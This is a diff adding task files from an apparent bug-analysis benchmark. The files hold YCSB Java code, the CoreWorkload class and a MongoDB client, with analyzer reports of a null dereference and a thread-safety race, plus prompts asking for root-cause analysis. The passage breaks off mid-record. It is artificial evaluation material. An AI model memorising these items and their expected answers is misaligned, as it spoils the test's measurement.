+    } else if (fieldlengthdistribution.compareTo("uniform") == 0) {
+      fieldlengthgenerator = new UniformIntegerGenerator(1, fieldlength);
+    } else if (fieldlengthdistribution.compareTo("zipfian") == 0) {
+      fieldlengthgenerator = new ZipfianGenerator(1, fieldlength);
+    } else if (fieldlengthdistribution.compareTo("histogram") == 0) {
+      try {
+        fieldlengthgenerator = new HistogramGenerator(fieldlengthhistogram);
+      } catch (IOException e) {
+        throw new WorkloadException(
+            "Couldn't read field length histogram file: " + fieldlengthhistogram, e);
+      }
+    } else {
+      throw new WorkloadException(
+          "Unknown field length distribution \"" + fieldlengthdistribution + "\"");
+    }
+    return fieldlengthgenerator;
+  }
+
+  /**
+   * Initialize the scenario.
+   * Called once, in the main client thread, before any operations are started.
+   */
+  @Override
+  public void init(Properties p) throws WorkloadException {
+    table = p.getProperty(TABLENAME_PROPERTY, TABLENAME_PROPERTY_DEFAULT);
+
+    fieldcount =
+        Integer.parseInt(p.getProperty(FIELD_COUNT_PROPERTY, FIELD_COUNT_PROPERTY_DEFAULT));
+    fieldnames = new ArrayList<String>();
+    for (int i = 0; i < fieldcount; i++) {
+      fieldnames.add("field" + i);
+    }
+    fieldlengthgenerator = CoreWorkload.getFieldLengthGenerator(p);
+    
+    recordcount =
+        Integer.parseInt(p.getProperty(Client.RECORD_COUNT_PROPERTY, Client.DEFAULT_RECORD_COUNT));
+    if (recordcount == 0) {
+      recordcount = Integer.MAX_VALUE;
+    }
+    String requestdistrib =
+        p.getProperty(REQUEST_DISTRIBUTION_PROPERTY, REQUEST_DISTRIBUTION_PROPERTY_DEFAULT);
+    int maxscanlength =
+        Integer.parseInt(p.getProperty(MAX_SCAN_LENGTH_PROPERTY, MAX_SCAN_LENGTH_PROPERTY_DEFAULT));
+    String scanlengthdistrib =
+        p.getProperty(SCAN_LENGTH_DISTRIBUTION_PROPERTY, SCAN_LENGTH_DISTRIBUTION_PROPERTY_DEFAULT);
+
+    int insertstart =
+        Integer.parseInt(p.getProperty(INSERT_START_PROPERTY, INSERT_START_PROPERTY_DEFAULT));
+    int insertcount =
+        Integer.parseInt(p.getProperty(INSERT_COUNT_PROPERTY, String.valueOf(recordcount - insertstart)));
+    // Confirm valid values for insertstart and insertcount in relation to recordcount
+    if (recordcount < (insertstart + insertcount)) {
+      System.err.println("Invalid combination of insertstart, insertcount and recordcount.");
+      System.err.println("recordcount must be bigger than insertstart + insertcount.");
+      System.exit(-1);
+    }
+    zeropadding =
+        Integer.parseInt(p.getProperty(ZERO_PADDING_PROPERTY, ZERO_PADDING_PROPERTY_DEFAULT));
+
+    readallfields = Boolean.parseBoolean(
+        p.getProperty(READ_ALL_FIELDS_PROPERTY, READ_ALL_FIELDS_PROPERTY_DEFAULT));
+    writeallfields = Boolean.parseBoolean(
+        p.getProperty(WRITE_ALL_FIELDS_PROPERTY, WRITE_ALL_FIELDS_PROPERTY_DEFAULT));
+
+    dataintegrity = Boolean.parseBoolean(
+        p.getProperty(DATA_INTEGRITY_PROPERTY, DATA_INTEGRITY_PROPERTY_DEFAULT));
+    // Confirm that fieldlengthgenerator returns a constant if data
+    // integrity check requested.
+    if (dataintegrity && !(p.getProperty(
+          FIELD_LENGTH_DISTRIBUTION_PROPERTY,
+          FIELD_LENGTH_DISTRIBUTION_PROPERTY_DEFAULT)).equals("constant")) {
+      System.err.println("Must have constant field size to check data integrity.");
+      System.exit(-1);
+    }
+
+    if (p.getProperty(INSERT_ORDER_PROPERTY, INSERT_ORDER_PROPERTY_DEFAULT).compareTo("hashed") == 0) {
+      orderedinserts = false;
+    } else if (requestdistrib.compareTo("exponential") == 0) {
+      double percentile = Double.parseDouble(p.getProperty(
+          ExponentialGenerator.EXPONENTIAL_PERCENTILE_PROPERTY,
+          ExponentialGenerator.EXPONENTIAL_PERCENTILE_DEFAULT));
+      double frac = Double.parseDouble(p.getProperty(
+          ExponentialGenerator.EXPONENTIAL_FRAC_PROPERTY,
+          ExponentialGenerator.EXPONENTIAL_FRAC_DEFAULT));
+      keychooser = new ExponentialGenerator(percentile, recordcount * frac);
+    } else {
+      orderedinserts = true;
+    }
+
+    keysequence = new CounterGenerator(insertstart);
+    operationchooser = createOperationGenerator(p);
+
+    transactioninsertkeysequence = new AcknowledgedCounterGenerator(recordcount);
+    if (requestdistrib.compareTo("uniform") == 0) {
+      keychooser = new UniformIntegerGenerator(insertstart, insertstart + insertcount - 1);
+    } else if (requestdistrib.compareTo("sequential") == 0) {
+      keychooser = new SequentialGenerator(insertstart, insertstart + insertcount - 1);
+    }else if (requestdistrib.compareTo("zipfian") == 0) {
+      // it does this by generating a random "next key" in part by taking the modulus over the
+      // number of keys.
+      // If the number of keys changes, this would shift the modulus, and we don't want that to
+      // change which keys are popular so we'll actually construct the scrambled zipfian generator
+      // with a keyspace that is larger than exists at the beginning of the test. that is, we'll predict
+      // the number of inserts, and tell the scrambled zipfian generator the number of existing keys
+      // plus the number of predicted keys as the total keyspace. then, if the generator picks a key
+      // that hasn't been inserted yet, will just ignore it and pick another key. this way, the size of
+      // the keyspace doesn't change from the perspective of the scrambled zipfian generator
+      final double insertproportion = Double.parseDouble(
+          p.getProperty(INSERT_PROPORTION_PROPERTY, INSERT_PROPORTION_PROPERTY_DEFAULT));
+      int opcount = Integer.parseInt(p.getProperty(Client.OPERATION_COUNT_PROPERTY));
+      int expectednewkeys = (int) ((opcount) * insertproportion * 2.0); // 2 is fudge factor
+
+      keychooser = new ScrambledZipfianGenerator(insertstart, insertstart + insertcount + expectednewkeys);
+    } else if (requestdistrib.compareTo("latest") == 0) {
+      keychooser = new SkewedLatestGenerator(transactioninsertkeysequence);
+    } else if (requestdistrib.equals("hotspot")) {
+      double hotsetfraction =
+          Double.parseDouble(p.getProperty(HOTSPOT_DATA_FRACTION, HOTSPOT_DATA_FRACTION_DEFAULT));
+      double hotopnfraction =
+          Double.parseDouble(p.getProperty(HOTSPOT_OPN_FRACTION, HOTSPOT_OPN_FRACTION_DEFAULT));
+      keychooser = new HotspotIntegerGenerator(insertstart, insertstart + insertcount - 1,
+          hotsetfraction, hotopnfraction);
+    } else {
+      throw new WorkloadException("Unknown request distribution \"" + requestdistrib + "\"");
+    }
+
+    fieldchooser = new UniformIntegerGenerator(0, fieldcount - 1);
+
+    if (scanlengthdistrib.compareTo("uniform") == 0) {
+      scanlength = new UniformIntegerGenerator(1, maxscanlength);
+    } else if (scanlengthdistrib.compareTo("zipfian") == 0) {
+      scanlength = new ZipfianGenerator(1, maxscanlength);
+    } else {
+      throw new WorkloadException(
+          "Distribution \"" + scanlengthdistrib + "\" not allowed for scan length");
+    }
+
+    insertionRetryLimit = Integer.parseInt(p.getProperty(
+        INSERTION_RETRY_LIMIT, INSERTION_RETRY_LIMIT_DEFAULT));
+    insertionRetryInterval = Integer.parseInt(p.getProperty(
+        INSERTION_RETRY_INTERVAL, INSERTION_RETRY_INTERVAL_DEFAULT));
+  }
+
+  public String buildKeyName(long keynum) {
+    if (!orderedinserts) {
+      keynum = Utils.hash(keynum);
+    }
+    String value = Long.toString(keynum);
+    int fill = zeropadding - value.length();
+    String prekey = "user";
+    for(int i=0; i<fill; i++) {
+      prekey += '0';
+    }
+    return prekey + value;
+  }
+
+  /**
+   * Builds a value for a randomly chosen field.
+   */
+  private HashMap<String, ByteIterator> buildSingleValue(String key) {
+    HashMap<String, ByteIterator> value = new HashMap<String, ByteIterator>();
+
+    String fieldkey = fieldnames.get(fieldchooser.nextValue().intValue());
+    ByteIterator data;
+    if (dataintegrity) {
+      data = new StringByteIterator(buildDeterministicValue(key, fieldkey));
+    } else {
+      // fill with random data
+      data = new RandomByteIterator(fieldlengthgenerator.nextValue().longValue());
+    }
+    value.put(fieldkey, data);
+
+    return value;
+  }
+
+  /**
+   * Builds values for all fields.
+   */
+  private HashMap<String, ByteIterator> buildValues(String key) {
+    HashMap<String, ByteIterator> values = new HashMap<String, ByteIterator>();
+
+    for (String fieldkey : fieldnames) {
+      ByteIterator data;
+      if (dataintegrity) {
+        data = new StringByteIterator(buildDeterministicValue(key, fieldkey));
+      } else {
+        // fill with random data
+        data = new RandomByteIterator(fieldlengthgenerator.nextValue().longValue());
+      }
+      values.put(fieldkey, data);
+    }
+    return values;
+  }
+
+  /**
+   * Build a deterministic value given the key information.
+   */
+  private String buildDeterministicValue(String key, String fieldkey) {
+    int size = fieldlengthgenerator.nextValue().intValue();
+    StringBuilder sb = new StringBuilder(size);
+    sb.append(key);
+    sb.append(':');
+    sb.append(fieldkey);
+    while (sb.length() < size) {
+      sb.append(':');
+      sb.append(sb.toString().hashCode());
+    }
+    sb.setLength(size);
+
+    return sb.toString();
+  }
+
+  /**
+   * Do one insert operation. Because it will be called concurrently from multiple client threads,
+   * this function must be thread safe. However, avoid synchronized, or the threads will block waiting
+   * for each other, and it will be difficult to reach the target throughput. Ideally, this function would
+   * have no side effects other than DB operations.
+   */
+  @Override
+  public boolean doInsert(DB db, Object threadstate) {
+    int keynum = keysequence.nextValue().intValue();
+    String dbkey = buildKeyName(keynum);
+    HashMap<String, ByteIterator> values = buildValues(dbkey);
+
+    Status status;
+    int numOfRetries = 0;
+    do {
+      status = db.insert(table, dbkey, values);
+      if (null != status && status.isOk()) {
+        break;
+      }
+      // Retry if configured. Without retrying, the load process will fail
+      // even if one single insertion fails. User can optionally configure
+      // an insertion retry limit (default is 0) to enable retry.
+      if (++numOfRetries <= insertionRetryLimit) {
+        System.err.println("Retrying insertion, retry count: " + numOfRetries);
+        try {
+          // Sleep for a random number between [0.8, 1.2)*insertionRetryInterval.
+          int sleepTime = (int) (1000 * insertionRetryInterval * (0.8 + 0.4 * Math.random()));
+          Thread.sleep(sleepTime);
+        } catch (InterruptedException e) {
+          break;
+        }
+
+      } else {
+        System.err.println("Error inserting, not retrying any more. number of attempts: " + numOfRetries +
+            "Insertion Retry Limit: " + insertionRetryLimit);
+        break;
+
+      }
+    } while (true);
+
+    return null != status && status.isOk();
+  }
+
+  /**
+   * Do one transaction operation. Because it will be called concurrently from multiple client
+   * threads, this function must be thread safe. However, avoid synchronized, or the threads will block waiting
+   * for each other, and it will be difficult to reach the target throughput. Ideally, this function would
+   * have no side effects other than DB operations.
+   */
+  @Override
+  public boolean doTransaction(DB db, Object threadstate) {
+    switch (operationchooser.nextString()) {
+    case "READ":
+      doTransactionRead(db);
+      break;
+    case "UPDATE":
+      doTransactionUpdate(db);
+      break;
+    case "INSERT":
+      doTransactionInsert(db);
+      break;
+    case "SCAN":
+      doTransactionScan(db);
+      break;
+    default:
+      doTransactionReadModifyWrite(db);
+    } 
+
+    return true;
+  }
+
+  /**
+   * Results are reported in the first three buckets of the histogram under
+   * the label "VERIFY".
+   * Bucket 0 means the expected data was returned.
+   * Bucket 1 means incorrect data was returned.
+   * Bucket 2 means null data was returned when some data was expected.
+   */
+  protected void verifyRow(String key, HashMap<String, ByteIterator> cells) {
+    Status verifyStatus = Status.OK;
+    long startTime = System.nanoTime();
+    if (!cells.isEmpty()) {
+      for (Map.Entry<String, ByteIterator> entry : cells.entrySet()) {
+        if (!entry.getValue().toString().equals(buildDeterministicValue(key, entry.getKey()))) {
+          verifyStatus = Status.UNEXPECTED_STATE;
+          break;
+        }
+      }
+    } else {
+      // This assumes that null data is never valid
+      verifyStatus = Status.ERROR;
+    }
+    long endTime = System.nanoTime();
+    _measurements.measure("VERIFY", (int) (endTime - startTime) / 1000);
+    _measurements.reportStatus("VERIFY", verifyStatus);
+  }
+
+  int nextKeynum() {
+    int keynum;
+    if (keychooser instanceof ExponentialGenerator) {
+      do {
+        keynum = transactioninsertkeysequence.lastValue() - keychooser.nextValue().intValue();
+      } while (keynum < 0);
+    } else {
+      do {
+        keynum = keychooser.nextValue().intValue();
+      } while (keynum > transactioninsertkeysequence.lastValue());
+    }
+    return keynum;
+  }
+
+  public void doTransactionRead(DB db) {
+    // choose a random key
+    int keynum = nextKeynum();
+
+    String keyname = buildKeyName(keynum);
+
+    HashSet<String> fields = null;
+
+    if (!readallfields) {
+      // read a random field
+      String fieldname = fieldnames.get(fieldchooser.nextValue().intValue());
+
+      fields = new HashSet<String>();
+      fields.add(fieldname);
+    } else if (dataintegrity) {
+      // pass the full field list if dataintegrity is on for verification
+      fields = new HashSet<String>(fieldnames);
+    }
+
+    HashMap<String, ByteIterator> cells = new HashMap<String, ByteIterator>();
+    db.read(table, keyname, fields, cells);
+
+    if (dataintegrity) {
+      verifyRow(keyname, cells);
+    }
+  }
+  
+  public void doTransactionReadModifyWrite(DB db) {
+    // choose a random key
+    int keynum = nextKeynum();
+
+    String keyname = buildKeyName(keynum);
+
+    HashSet<String> fields = null;
+
+    if (!readallfields) {
+      // read a random field
+      String fieldname = fieldnames.get(fieldchooser.nextValue().intValue());
+
+      fields = new HashSet<String>();
+      fields.add(fieldname);
+    }
+
+    HashMap<String, ByteIterator> values;
+
+    if (writeallfields) {
+      // new data for all the fields
+      values = buildValues(keyname);
+    } else {
+      // update a random field
+      values = buildSingleValue(keyname);
+    }
+
+    // do the transaction
+
+    HashMap<String, ByteIterator> cells = new HashMap<String, ByteIterator>();
+
+
+    long ist = _measurements.getIntendedtartTimeNs();
+    long st = System.nanoTime();
+    db.read(table, keyname, fields, cells);
+
+    db.update(table, keyname, values);
+
+    long en = System.nanoTime();
+
+    if (dataintegrity) {
+      verifyRow(keyname, cells);
+    }
+
+    _measurements.measure("READ-MODIFY-WRITE", (int) ((en - st) / 1000));
+    _measurements.measureIntended("READ-MODIFY-WRITE", (int) ((en - ist) / 1000));
+  }
+
+  public void doTransactionScan(DB db) {
+    // choose a random key
+    int keynum = nextKeynum();
+
+    String startkeyname = buildKeyName(keynum);
+
+    // choose a random scan length
+    int len = scanlength.nextValue().intValue();
+
+    HashSet<String> fields = null;
+
+    if (!readallfields) {
+      // read a random field
+      String fieldname = fieldnames.get(fieldchooser.nextValue().intValue());
+
+      fields = new HashSet<String>();
+      fields.add(fieldname);
+    }
+
+    db.scan(table, startkeyname, len, fields, new Vector<HashMap<String, ByteIterator>>());
+  }
+
+  public void doTransactionUpdate(DB db) {
+    // choose a random key
+    int keynum = nextKeynum();
+
+    String keyname = buildKeyName(keynum);
+
+    HashMap<String, ByteIterator> values;
+
+    if (writeallfields) {
+      // new data for all the fields
+      values = buildValues(keyname);
+    } else {
+      // update a random field
+      values = buildSingleValue(keyname);
+    }
+
+    db.update(table, keyname, values);
+  }
+
+  public void doTransactionInsert(DB db) {
+    // choose the next key
+    int keynum = transactioninsertkeysequence.nextValue();
+
+    try {
+      String dbkey = buildKeyName(keynum);
+
+      HashMap<String, ByteIterator> values = buildValues(dbkey);
+      db.insert(table, dbkey, values);
+    } finally {
+      transactioninsertkeysequence.acknowledge(keynum);
+    }
+  }
+
+  /**
+   * Creates a weighted discrete values with database operations for a workload to perform.
+   * Weights/proportions are read from the properties list and defaults are used
+   * when values are not configured.
+   * Current operations are "READ", "UPDATE", "INSERT", "SCAN" and "READMODIFYWRITE".
+   * @param p The properties list to pull weights from.
+   * @return A generator that can be used to determine the next operation to perform.
+   * @throws IllegalArgumentException if the properties object was null.
+   */
+  public static DiscreteGenerator createOperationGenerator(final Properties p) {
+    if (p == null) {
+      throw new IllegalArgumentException("Properties object cannot be null");
+    }
+    final double readproportion = Double.parseDouble(
+        p.getProperty(READ_PROPORTION_PROPERTY, READ_PROPORTION_PROPERTY_DEFAULT));
+    final double updateproportion = Double.parseDouble(
+        p.getProperty(UPDATE_PROPORTION_PROPERTY, UPDATE_PROPORTION_PROPERTY_DEFAULT));
+    final double insertproportion = Double.parseDouble(
+        p.getProperty(INSERT_PROPORTION_PROPERTY, INSERT_PROPORTION_PROPERTY_DEFAULT));
+    final double scanproportion = Double.parseDouble(
+        p.getProperty(SCAN_PROPORTION_PROPERTY, SCAN_PROPORTION_PROPERTY_DEFAULT));
+    final double readmodifywriteproportion = Double.parseDouble(p.getProperty(
+        READMODIFYWRITE_PROPORTION_PROPERTY, READMODIFYWRITE_PROPORTION_PROPERTY_DEFAULT));
+    
+    final DiscreteGenerator operationchooser = new DiscreteGenerator();
+    if (readproportion > 0) {
+      operationchooser.addValue(readproportion, "READ");
+    }
+
+    if (updateproportion > 0) {
+      operationchooser.addValue(updateproportion, "UPDATE");
+    }
+
+    if (insertproportion > 0) {
+      operationchooser.addValue(insertproportion, "INSERT");
+    }
+
+    if (scanproportion > 0) {
+      operationchooser.addValue(scanproportion, "SCAN");
+    }
+
+    if (readmodifywriteproportion > 0) {
+      operationchooser.addValue(readmodifywriteproportion, "READMODIFYWRITE");
+    }
+    return operationchooser;
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `CoreWorkload.operationchooser.nextString()` could be null and is dereferenced at line 629.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+boolean CoreWorkload.doTransaction(DB,Object)
+
+### Procedure Id:
+com.yahoo.ycsb.workloads.CoreWorkload.doTransaction(com.yahoo.ycsb.DB,java.lang.Object):boolean.117bbfc804df4535a1381692a84b31c1
+
+### File:
+core/src/main/java/com/yahoo/ycsb/workloads/CoreWorkload.java
+
+### Key:
+CoreWorkload.java|doTransaction|NULL_DEREFERENCE
+
+### Node Key:
+7bd17c1126d78fe17b36ab2ac6be1419
+
+### Hash:
+83000c9a6152d263407d58886edc3d29
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7977/instruction.md b/inferredbugs-7977/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..373e8ecf7baa182aee6285f1963ae7d586571238
--- /dev/null
+++ b/inferredbugs-7977/instruction.md
@@ -0,0 +1,508 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** YCSB
+**Bug ID:** 2
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * MongoDB client binding for YCSB.
+ *
+ * Submitted by Yen Pai on 5/11/2010.
+ *
+ * https://gist.github.com/000a66b8db2caf42467b#file_mongo_database.java
+ *
+ */
+
+package com.yahoo.ycsb.db;
+
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Properties;
+import java.util.Set;
+import java.util.Vector;
+import java.util.concurrent.atomic.AtomicInteger;
+
+import com.mongodb.client.model.InsertManyOptions;
+import org.bson.Document;
+import org.bson.types.Binary;
+
+import com.mongodb.MongoClient;
+import com.mongodb.MongoClientURI;
+import com.mongodb.ReadPreference;
+import com.mongodb.WriteConcern;
+import com.mongodb.bulk.BulkWriteResult;
+import com.mongodb.client.FindIterable;
+import com.mongodb.client.MongoCollection;
+import com.mongodb.client.MongoCursor;
+import com.mongodb.client.MongoDatabase;
+import com.mongodb.client.model.BulkWriteOptions;
+import com.mongodb.client.model.InsertOneModel;
+import com.mongodb.client.model.UpdateOptions;
+import com.mongodb.client.result.DeleteResult;
+import com.mongodb.client.result.UpdateResult;
+import com.yahoo.ycsb.ByteArrayByteIterator;
+import com.yahoo.ycsb.ByteIterator;
+import com.yahoo.ycsb.DB;
+import com.yahoo.ycsb.DBException;
+
+/**
+ * MongoDB client for YCSB framework.
+ * 
+ * Properties to set:
+ * 
+ * mongodb.url=mongodb://localhost:27017
+ * mongodb.writeConcern=acknowledged
+ * 
+ * @author ypai
+ */
+public class MongoDbClient extends DB {
+
+    /** Used to include a field in a response. */
+    protected static final Integer INCLUDE = Integer.valueOf(1);
+
+    /** The options to use for inserting many documents */
+    protected static final InsertManyOptions INSERT_MANY_OPTIONS =
+    new InsertManyOptions().ordered(false);
+
+    /**
+     * The database name to access.
+     */
+    private static String databaseName;
+
+    /** The database name to access. */
+    private static MongoDatabase database;
+
+    /**
+     * Count the number of times initialized to teardown on the last
+     * {@link #cleanup()}.
+     */
+    private static final AtomicInteger initCount = new AtomicInteger(0);
+
+    /** A singleton Mongo instance. */
+    private static MongoClient mongoClient;
+
+    /** The default read preference for the test */
+    private static ReadPreference readPreference;
+
+    /** The default write concern for the test. */
+    private static WriteConcern writeConcern;
+
+    /** The batch size to use for inserts. */
+    private static int batchSize;
+
+    /** The bulk inserts pending for the thread. */
+    private final List<Document> bulkInserts = new ArrayList<Document>();
+
+    /**
+     * Cleanup any state for this DB. Called once per DB instance; there is one
+     * DB instance per client thread.
+     */
+    @Override
+    public void cleanup() throws DBException {
+        if (initCount.decrementAndGet() == 0) {
+            try {
+                mongoClient.close();
+            }
+            catch (Exception e1) {
+                System.err.println("Could not close MongoDB connection pool: "
+                        + e1.toString());
+                e1.printStackTrace();
+                return;
+            }
+            finally {
+                database = null;
+                mongoClient = null;
+            }
+        }
+    }
+
+    /**
+     * Delete a record from the database.
+     * 
+     * @param table
+     *            The name of the table
+     * @param key
+     *            The record key of the record to delete.
+     * @return Zero on success, a non-zero error code on error. See the
+     *         {@link DB} class's description for a discussion of error codes.
+     */
+    @Override
+    public int delete(String table, String key) {
+        try {
+            MongoCollection<Document> collection = database
+                    .getCollection(table);
+
+            Document query = new Document("_id", key);
+            DeleteResult result = collection.withWriteConcern(writeConcern)
+                    .deleteOne(query);
+            if (result.wasAcknowledged() && result.getDeletedCount() == 0) {
+                System.err.println("Nothing deleted for key " + key);
+                return 1;
+            }
+            return 0;
+        }
+        catch (Exception e) {
+            System.err.println(e.toString());
+            return 1;
+        }
+    }
+
+    /**
+     * Initialize any state for this DB. Called once per DB instance; there is
+     * one DB instance per client thread.
+     */
+    @Override
+    public void init() throws DBException {
+        initCount.incrementAndGet();
+        synchronized (INCLUDE) {
+            if (mongoClient != null) {
+                return;
+            }
+
+            Properties props = getProperties();
+
+            // Set insert batchsize, default 1 - to be YCSB-original equivalent
+            batchSize = Integer.parseInt(props.getProperty("batchsize", "1"));
+
+            // Just use the standard connection format URL
+            // http://docs.mongodb.org/manual/reference/connection-string/ 
+            // to configure the client.
+            String url = props.getProperty("mongodb.url", null);
+            boolean defaultedUrl = false;
+            if (url == null) {
+                defaultedUrl = true;
+                url = "mongodb://localhost:27017/ycsb?w=1";
+            }
+
+            url = OptionsSupport.updateUrl(url, props);
+
+            if (!url.startsWith("mongodb://")) {
+                System.err
+                        .println("ERROR: Invalid URL: '"
+                                + url
+                                + "'. Must be of the form "
+                                + "'mongodb://<host1>:<port1>,<host2>:<port2>/database?options'. "
+                                + "http://docs.mongodb.org/manual/reference/connection-string/");
+                System.exit(1);
+            }
+
+            try {
+                MongoClientURI uri = new MongoClientURI(url);
+
+                String uriDb = uri.getDatabase();
+                if (!defaultedUrl && (uriDb != null) && !uriDb.isEmpty()
+                        && !"admin".equals(uriDb)) {
+                    databaseName = uriDb;
+                }
+                else {
+                    //If no database is specified in URI, use "ycsb"
+                    databaseName = "ycsb"; 
+
+                }
+
+
+                readPreference = uri.getOptions().getReadPreference();
+                writeConcern = uri.getOptions().getWriteConcern();
+
+                mongoClient = new MongoClient(uri);
+                database = mongoClient.getDatabase(databaseName);
+
+                System.out.println("mongo client connection created with "
+                        + url);
+            }
+            catch (Exception e1) {
+                System.err
+                        .println("Could not initialize MongoDB connection pool for Loader: "
+                                + e1.toString());
+                e1.printStackTrace();
+                return;
+            }
+        }
+    }
+
+    /**
+     * Insert a record in the database. Any field/value pairs in the specified
+     * values HashMap will be written into the record with the specified record
+     * key.
+     * 
+     * @param table
+     *            The name of the table
+     * @param key
+     *            The record key of the record to insert.
+     * @param values
+     *            A HashMap of field/value pairs to insert in the record
+     * @return Zero on success, a non-zero error code on error. See the
+     *         {@link DB} class's description for a discussion of error codes.
+     */
+    @Override
+    public int insert(String table, String key,
+            HashMap<String, ByteIterator> values) {
+        try {
+            MongoCollection<Document> collection = database
+                    .getCollection(table);
+            Document toInsert = new Document("_id", key);
+            for (Map.Entry<String, ByteIterator> entry : values.entrySet()) {
+                toInsert.put(entry.getKey(), entry.getValue().toArray());
+            }
+
+            bulkInserts.add(toInsert);
+            if (bulkInserts.size() == batchSize) {
+                collection.withWriteConcern(writeConcern)
+                          .insertMany(bulkInserts, INSERT_MANY_OPTIONS);
+                bulkInserts.clear();
+            }
+            return 0;
+        }
+        catch (Exception e) {
+            System.err.println("Exception while trying bulk insert with "
+                               + bulkInserts.size());
+            e.printStackTrace();
+            return 1;
+        }
+
+    }
+
+    /**
+     * Read a record from the database. Each field/value pair from the result
+     * will be stored in a HashMap.
+     * 
+     * @param table
+     *            The name of the table
+     * @param key
+     *            The record key of the record to read.
+     * @param fields
+     *            The list of fields to read, or null for all of them
+     * @param result
+     *            A HashMap of field/value pairs for the result
+     * @return Zero on success, a non-zero error code on error or "not found".
+     */
+    @Override
+    public int read(String table, String key, Set<String> fields,
+            HashMap<String, ByteIterator> result) {
+        try {
+            MongoCollection<Document> collection = database
+                    .getCollection(table);
+            Document query = new Document("_id", key);
+
+            FindIterable<Document> findIterable = collection
+                                                  .withReadPreference(readPreference)
+                                                  .find(query);
+
+            Document queryResult = null;
+            if (fields != null) {
+                Document projection = new Document();
+                for (String field : fields) {
+                    projection.put(field, INCLUDE);
+                }
+                findIterable.projection(projection);
+            }
+
+            queryResult = findIterable.first();
+
+            if (queryResult != null) {
+                fillMap(result, queryResult);
+            }
+            return queryResult != null ? 0 : 1;
+        }
+        catch (Exception e) {
+            System.err.println(e.toString());
+            return 1;
+        }
+    }
+
+    /**
+     * Perform a range scan for a set of records in the database. Each
+     * field/value pair from the result will be stored in a HashMap.
+     * 
+     * @param table
+     *            The name of the table
+     * @param startkey
+     *            The record key of the first record to read.
+     * @param recordcount
+     *            The number of records to read
+     * @param fields
+     *            The list of fields to read, or null for all of them
+     * @param result
+     *            A Vector of HashMaps, where each HashMap is a set field/value
+     *            pairs for one record
+     * @return Zero on success, a non-zero error code on error. See the
+     *         {@link DB} class's description for a discussion of error codes.
+     */
+    @Override
+    public int scan(String table, String startkey, int recordcount,
+            Set<String> fields, Vector<HashMap<String, ByteIterator>> result) {
+        MongoCursor<Document> cursor = null;
+        try {
+            MongoCollection<Document> collection = database
+                    .getCollection(table);
+
+            Document scanRange = new Document("$gte", startkey);
+            Document query = new Document("_id", scanRange);
+            Document sort = new Document("_id", INCLUDE);
+            Document projection = null;
+            if (fields != null) {
+                projection = new Document();
+                for (String fieldName : fields) {
+                    projection.put(fieldName, INCLUDE);
+                }
+            }
+
+            cursor = collection.withReadPreference(readPreference).find(query)
+                    .projection(projection).sort(sort).limit(recordcount).iterator();
+            if (!cursor.hasNext()) {
+                System.err.println("Nothing found in scan for key " + startkey);
+                return 1;
+            }
+            while (cursor.hasNext()) {
+                HashMap<String, ByteIterator> resultMap = new HashMap<String, ByteIterator>();
+
+                Document obj = cursor.next();
+                fillMap(resultMap, obj);
+
+                result.add(resultMap);
+            }
+
+            return 0;
+        }
+        catch (Exception e) {
+            System.err.println(e.toString());
+            return 1;
+        }
+        finally {
+            if (cursor != null) {
+                cursor.close();
+            }
+        }
+    }
+
+    /**
+     * Update a record in the database. Any field/value pairs in the specified
+     * values HashMap will be written into the record with the specified record
+     * key, overwriting any existing values with the same field name.
+     * 
+     * @param table
+     *            The name of the table
+     * @param key
+     *            The record key of the record to write.
+     * @param values
+     *            A HashMap of field/value pairs to update in the record
+     * @return Zero on success, a non-zero error code on error. See this class's
+     *         description for a discussion of error codes.
+     */
+    @Override
+    public int update(String table, String key,
+            HashMap<String, ByteIterator> values) {
+        try {
+            MongoCollection<Document> collection = database
+                    .getCollection(table);
+
+            Document query = new Document("_id", key);
+            Document fieldsToSet = new Document();
+            for (Map.Entry<String, ByteIterator> entry : values.entrySet()) {
+                fieldsToSet.put(entry.getKey(), entry.getValue().toArray());
+            }
+            Document update = new Document("$set", fieldsToSet);
+
+            UpdateResult result = collection.withWriteConcern(writeConcern)
+                    .updateOne(query, update);
+            if (result.wasAcknowledged() && result.getMatchedCount() == 0) {
+                System.err.println("Nothing updated for key " + key);
+                return 1;
+            }
+            return 0;
+        }
+        catch (Exception e) {
+            System.err.println(e.toString());
+            return 1;
+        }
+    }
+
+    /**
+     * Fills the map with the values from the DBObject.
+     * 
+     * @param resultMap
+     *            The map to fill/
+     * @param obj
+     *            The object to copy values from.
+     */
+    protected void fillMap(HashMap<String, ByteIterator> resultMap, Document obj) {
+        for (Map.Entry<String, Object> entry : obj.entrySet()) {
+            if (entry.getValue() instanceof Binary) {
+                resultMap.put(entry.getKey(), new ByteArrayByteIterator(
+                        ((Binary) entry.getValue()).getData()));
+            }
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `com.yahoo.ycsb.db.MongoDbClient.insert` reads without synchronization from `db.MongoDbClient.com.yahoo.ycsb.db.MongoDbClient.writeConcern`. Potentially races with write in method `MongoDbClient.init()`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+int MongoDbClient.insert(String,String,HashMap)
+
+### Procedure Id:
